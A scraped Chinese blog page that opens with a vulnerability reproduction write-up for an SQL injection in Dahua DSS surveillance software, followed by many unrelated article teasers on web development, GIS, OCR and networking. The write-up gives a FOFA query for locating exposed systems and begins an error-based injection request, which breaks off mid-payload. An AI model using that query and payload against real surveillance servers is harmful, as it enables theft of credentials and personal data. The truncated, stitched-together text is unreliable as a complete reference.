大华 DSS 数字监控系统 attachment_getAttList.action SQL 注入漏洞复现
0x01 产品简介
大华 DSS 数字监控系统是大华开发的一款安防视频监控系统，拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。
0x02 漏洞概述
大华 DSS存在SQL注入漏洞，攻击者 /portal/attachment_getAttList.action 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
0x03 复现环境
FOFA：
body="<meta http-equiv=\"refresh\" content=\"1;url='/admin'\"></span>" || body="dahuaDefined/headCommon.js" || title=="DSS"
0x04 漏洞复现
PoC
GET /portal/attachment_getAttList.action?bean.TabName=1&bean.RecId=1%27)%20AND%20EXTRACTVALUE(88相关文章：
大华 DSS 数字监控系统 attachment_getAttList.action SQL 注入漏洞复现
0x01 产品简介 大华 DSS 数字监控系统是大华开发的一款安防视频监控系统，拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。 0x02 漏洞概述 大华 DSS存在SQL注入漏洞，攻击者 /portal/attachment_getAttList.action 路由发送特殊构造的数据包，利用报错注入获…...
vue2学习笔记（2/2）
vue2学习笔记（1/2） vue2学习笔记（2/2） 文章目录 1. 初始化脚手架2. 分析脚手架&render函数文件结构图示及说明main.jsindex.htmlApp.vueSchool.vueStudent.vue 关于不同版本的Vue修改默认配置vue.config.js配置文件 3. ref属…...
uniapp 之 base64转临时地址播放mp3
需求是：进入页面的时候是先有背景音乐，发送问题请求回答的时候会返回文字和音频，前端要把音频读出来，并且把背景音乐停止，读完音频后再打开背景音乐 一开始用的直接base64直接拼接在地址后 真机放不了 const innerAu…...
【网站项目】038汽车养护管理系统
🙊作者简介：拥有多年开发工作经验，分享技术代码帮助学生学习，独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件，帮助大学选题。赠送开题报告模板ÿ…...
倒计时64天
B-小红的因子数_牛客周赛 Round 31 (nowcoder.com) 超时了（108.33/125） #include <bits/stdc.h> using namespace std; const int N 1e5 5; const int inf 0x3f3f3f3f; #define int long long void solve() {int x;cin>>x;if(x1){cout&…...
003集—三调数据库添加三大类字段——arcgis
在国土管理日常统计工作中经常需要用到三大类数据（农用地、建设用地、未利用地），而三调数据库中无三大类字段，因此需要手工录入三大类字段，并根据二级地类代码录入相关三大类名称。本代码可一键录入海量三大类名称统计…...
python基础使用之excel数据处理
当我们需要用python处理 Excel 表格数据时，Python 提供了一个强大的库pandas。pandas 是一个用于数据分析的开源 Python 库，它可以帮助我们轻松地读取、操作和分析 Excel 表格数据。下面通过一个实例，展示 pandas如何 来处理 Excel 表格数据的…...
【算法】【数据结构】算法与数据结构的关系
程序算法数据结构语言工具和环境 但在算法学习过程中，我认识到算法和数据结构是密不可分的，脱离数据结构谈论算法是空架子。 算法：解决问题的步骤和方法。对数据进行操作和处理的方法。 数据结构：用来存储数据的方式。 数据结构和…...
Libvirt 迁移标志详解
可参考：https://libvirt.org/html/libvirt-libvirt-domain.html#virDomainMigrateFlags 在虚拟化环境中，迁移是一项重要的功能，Libvirt 提供了一系列标志，用于控制迁移过程中的不同行为。以下是 virDomainMigrateFlags 枚举的详细…...
【数据分享】1929-2023年全球站点的逐月平均能见度（Shp\Excel\免费获取）
气象数据是在各项研究中都经常使用的数据，气象指标包括气温、风速、降水、能见度等指标，说到气象数据，最详细的气象数据是具体到气象监测站点的数据！ 之前我们分享过1929-2023年全球气象站点的逐月平均气温数据、逐月最高气温数据…...
NLP中的嵌入和距离度量
本文将深入研究嵌入、矢量数据库和各种距离度量的概念，并提供示例和演示代码。 NLP中的嵌入 嵌入是连续向量空间中对象、单词或实体的数值表示。在NLP中，词嵌入捕获词之间的语义关系，使算法能够更好地理解文本的上下文和含义。 让我们试着用…...
jsp教务管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目
一、源码特点 JSP 教务管理系统是一套完善的java web信息管理系统，对理解JSP java编程开发语言有帮助，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境为 TOMCAT7.0,Myeclipse8.5开发，数据库为Mysql5.0&…...
基恩士 KV-8000 PLC通讯简单测试
1、KV-8000通讯协议 基恩士 KV-8000 PLC支持多种通讯方式，包括：OPC UA、Modbus、上位链路命令等。其中OPC UA需要对服务器和全局变量进行设置，Modbus需要调用功能块。默认支持的是上位链路命令，实际是一条条以回车换行结束的ASCII…...
【高质量精品】2024美赛B题22页word版高质量半成品论文+多版保奖思路+数据+前四问思路代码等（后续会更新）
一定要点击文末的卡片，进入后，获取完整论文！！ B 题整体模型构建 1. 潜水器动力系统失效：模型需要考虑潜水器在无推进力情况下的行为。 2. 失去与主船通信：考虑无法从主船接收指令或发送位置信息的情况。…...
apache_exporter安装说明
Apache Exporter 问题描述 需要监控apache服务，部署了apache_exporter，对过程进行一下记录。 源码参见apache_exporter ①下载 https://github.com/Lusitaniae/apache_exporter/releases②解压缩 tar -xzvf apache_exporter-0.7.0.linux-amd64.tar…...
代码随想录算法训练营29期Day42|卡码网46,LeetCode 416
文档讲解：背包问题二维 背包问题一维 分割等和子集 46.整数拆分 题目链接：https://kamacoder.com/problempage.php?pid1046 思路： 在一维dp数组中，dp[j]表示：容量为j的背包，所背的物品价值可以最大为d…...
java的excel列行合并模版
1.效果 2.模版 <tableborder"1"cellpadding"0"cellspacing"0"class"tablebor"id"TABLE"><tr align"center" class"bg217"><td style"background-color: #008000; color: #ffffff;p…...
【ES数据可视化】kibana实现数据大屏
目录 1.概述 2.绘制数据大屏 2.1.准备数据 2.2.绘制大屏 3.嵌入项目中 1.概述 再来重新认识一下kibana： Kibana 是一个用于数据可视化和分析的开源工具，是 Elastic Stack（以前称为 ELK Stack）中的一部分，由 Ela…...
2024 年十大 Vue.js UI 库
Vue.js 是一个流行的 JavaScript 框架，它在前端开发者中越来越受欢迎，以其简单、灵活和易用性而闻名。 Vue.js 如此受欢迎的原因之一是它拥有庞大的 UI 库生态系统。 这些库为开发人员提供了预构建的组件和工具，帮助他们快速高效地构建漂亮…...
使用esp32 cam + SR602人体感应模块制作一个小型的监控
需求： 做一个小型的监控，类似电子猫眼，监测到人之后，取一张图 然后发送到自己的邮箱。 架构： 1.sr602 传感器监测到人 2. esp32 cam 取图 并通过mqtt协议传到远端服务器 3, 服务器利用python 搭建一个mqtt客户端&…...
MusePublic Art Studio惊艳效果：动态种子演化生成同主题12张连贯艺术组图
MusePublic Art Studio惊艳效果：动态种子演化生成同主题12张连贯艺术组图 1. 引言：当AI成为艺术家的画笔 想象一下，你是一位艺术家，脑海中有一个绝妙的创意主题。你想围绕这个主题创作一个系列作品，比如“赛博朋克森…...
图像降噪避坑指南：为什么你的sym4小波处理效果不明显？
图像降噪避坑指南：为什么你的sym4小波处理效果不明显？ 当你在深夜调试代码，反复对比sym4小波处理前后的图像时，屏幕上的像素似乎在对你冷笑——降噪效果远不如论文里展示的那般惊艳。这不是个例，在计算机视觉开发者社群…...
逆向新手也能懂：用Python脚本5分钟搞定‘长城杯’EasyRe逆向题
逆向工程零基础入门：用Python五分钟破解CTF异或加密题 第一次接触CTF逆向题时，看着满屏的汇编代码和反编译结果，我完全不知所措。直到发现有些题目其实只需要一点Python脚本就能解决——比如这道来自"长城杯"网络安全大赛的EasyRe题…...
Windows系统下Tesseract OCR与Python结合实战：从安装到文字识别应用
1. Windows系统下Tesseract OCR的安装与配置 第一次接触OCR技术时，我被它的神奇能力震撼到了——居然能让计算机读懂图片里的文字！作为一款开源OCR引擎，Tesseract在文字识别领域已经默默耕耘了十几年。记得我刚开始用的时候还是3.x版本&#…...
从‘社交网络’到‘路径规划’：邻接表DFS在5个真实场景中的实战应用
从‘社交网络’到‘路径规划’：邻接表DFS在5个真实场景中的实战应用 邻接表和深度优先搜索（DFS）这对黄金组合，远不止是算法教材里的抽象概念。当它们走出理论课本，进入真实世界的复杂系统时，展现出的问题解…...
TranslateGemma部署避坑指南：常见问题与解决方案
TranslateGemma部署避坑指南：常见问题与解决方案 1. 部署前的硬件准备 1.1 显卡配置要求 TranslateGemma-12B-IT模型需要两张NVIDIA RTX 4090显卡协同工作，这是由模型并行技术决定的硬性要求。实际测试中发现： 单卡尝试运行会立即报错CUD…...
Infiniband网络排错指南：从`ibstatus`异常到OpenSM日志分析，一次搞定常见连接问题
Infiniband网络排错实战：从基础诊断到高级调优的全链路指南 当40Gbps的Infiniband链路突然降速到10Gbps，或者关键节点的OpenSM服务频繁崩溃时，每个运维工程师都能体会到那种指尖发凉的焦虑。本文将带你穿越Infiniband故障迷雾，构建…...
零基础部署Fun-ASR语音识别：支持GPU/CPU/MPS，开箱即用无需配置
零基础部署Fun-ASR语音识别：支持GPU/CPU/MPS，开箱即用无需配置 1. 为什么选择Fun-ASR？ 语音识别技术已经成为现代办公和内容创作的重要工具，但传统解决方案往往面临三大痛点：部署复杂、准确率不足、依赖云端服务。Fu…...
python-flask-djangol框架的的畜牧站疾病防控与检测系统
目录技术选型与架构设计核心功能模块实现数据可视化与决策支持移动端适配与离线功能测试与部署方案项目技术支持源码获取详细视频演示 ：文章底部获取博主联系方式！同行可合作技术选型与架构设计 后端采用Python Flask框架，轻量级且灵活性高&…...
ES6模块系统终极指南：掌握export *语法的高效用法
ES6模块系统终极指南：掌握export *语法的高效用法 【免费下载链接】es6features Overview of ECMAScript 6 features 项目地址: https://gitcode.com/gh_mirrors/es/es6features JavaScript模块化开发从未如此简单！ECMAScript 6（ES6&a…...